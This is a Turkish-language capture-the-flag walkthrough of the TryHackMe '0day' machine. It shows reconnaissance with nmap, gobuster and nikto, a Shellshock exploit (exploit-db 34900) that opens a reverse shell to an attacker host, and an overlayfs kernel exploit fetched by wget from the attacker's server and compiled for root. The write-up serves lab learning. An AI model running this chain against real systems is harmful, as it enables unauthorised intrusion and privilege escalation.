TryHackMe – 0day Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “0day” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

nmap -sS -sV -O 10.10.96.225

2 — Tarama sonucunda 22 ve 80 numaralı portların açık olduğunu görüyorum.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.4
OS details: Linux 5.4
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

3 — gobuster aracını kullanarak 80 numaralı port üzerinde dizin taraması yapıyorum.

> gobuster dir -u http://10.10.96.225/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50       
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.96.225/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/04 17:28:19 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 309] [--> http://10.10.96.225/img/]
/cgi-bin              (Status: 301) [Size: 313] [--> http://10.10.96.225/cgi-bin/]
/uploads              (Status: 301) [Size: 313] [--> http://10.10.96.225/uploads/]
/admin                (Status: 301) [Size: 311] [--> http://10.10.96.225/admin/]
/css                  (Status: 301) [Size: 309] [--> http://10.10.96.225/css/]
/js                   (Status: 301) [Size: 308] [--> http://10.10.96.225/js/]
/backup               (Status: 301) [Size: 312] [--> http://10.10.96.225/backup/]
/secret               (Status: 301) [Size: 312] [--> http://10.10.96.225/secret/]

4 — backup dizini içerisinde bir RSA anahtarı buluyorum. Geri kalan dizinlerden herhangi bir saldırı vektörü bulamadığım için *nikto* aracı ile web sitesini tarıyorum. *Nikto* taramasından sonra web sitesinde CVE-2014–6278 zaafiyetinin olduğunu görüyorum.

> nikto -h 10.10.180.23
*
*
+ OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS .
+ /cgi-bin/test.cgi: Uncommon header '93e4r0-cve-2014-6278' found, with contents: true.
*
*

5 — Daha sonra exploit-db adresinden ilgili zaafiyetin ID’sini öğreniyorum. *searchsploit* aracı ile zafiyet kodunu indiriyorum.

searcsploit -m 34900

6 — Gerekli parametreleri girip python kodunu çalıştırıyorum.

> python2.7 34900.py payload=reverse rhost=10.10.96.225 lhost=XX.XX.XX.XX lport=4444                                
[!] Started reverse shell handler
[-] Trying exploit on : /cgi-sys/entropysearch.cgi
[*] 404 on : /cgi-sys/entropysearch.cgi
[-] Trying exploit on : /cgi-sys/defaultwebpage.cgi
[*] 404 on : /cgi-sys/defaultwebpage.cgi
[-] Trying exploit on : /cgi-mod/index.cgi
[*] 404 on : /cgi-mod/index.cgi
[-] Trying exploit on : /cgi-bin/test.cgi
[!] Successfully exploited
[!] Incoming connection from 10.10.96.225
10.10.96.225> ls
test.cgi

7 – Home dizinine girip user.txt dosyasını okuyarak ilk bayrağımızı elde ediyoruz.

10.10.96.225> cd /home
10.10.96.225> ls
ryan

10.10.96.225> cd ryan
10.10.96.225> ls
user.txt

10.10.96.225> cat user.txt
THM{CENSORED}

8 — *uname -a* komutu ile sistem hakkında bilgi topluyorum.

10.10.96.225> uname -a   
Linux ubuntu 3.13.0-32-generic 57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

9 — *searchsploit* aracı ile “Linux Kernel 3.13.0” sistem bilgisini aratıyorum. Daha sonra **37292** id’li zaafiyeti indiriyorum.

> searchsploit "Linux Kernel 3.13.0" 
*
*
*
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Pri | linux/local/37292.c
*
*
*
searchsploit -m 37292

10 — Pythondaki “http.server” modülünü kullanarak 37292.c dosyasını zaafiyetli makineye aktarıyorum. *gcc* ile C dosyasını derliyorum.

# Saldırgan Makinesi
> python -m http.server

# Hedef Makine
cd /tmp
wget http://XX.XX.XX.XX:8000/37292.c
gcc 37292.c -o root

11 — Derledikten sonra bir hata alıyorum. Bu hatayı çözmek için aşağıdaki kodu girip tekrar derliyorum.

# Hatayı gidermek için
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
gcc 37292.c -o root && ./root

12 — *whoami* komutunu çalıştırdığımda **root** kullanıcısına geçtiğimi görüyorum. *root* dizinindeki root.txt dosyasını okuyarak ikinci ve son bayrağımızı elde ediyoruz.

10.10.96.225> whoami
# 
10.10.96.225> 
root
# 
10.10.96.225> 
# 
10.10.96.225> cat /root/root.txt
# 
10.10.96.225> 
THM{CENSORED}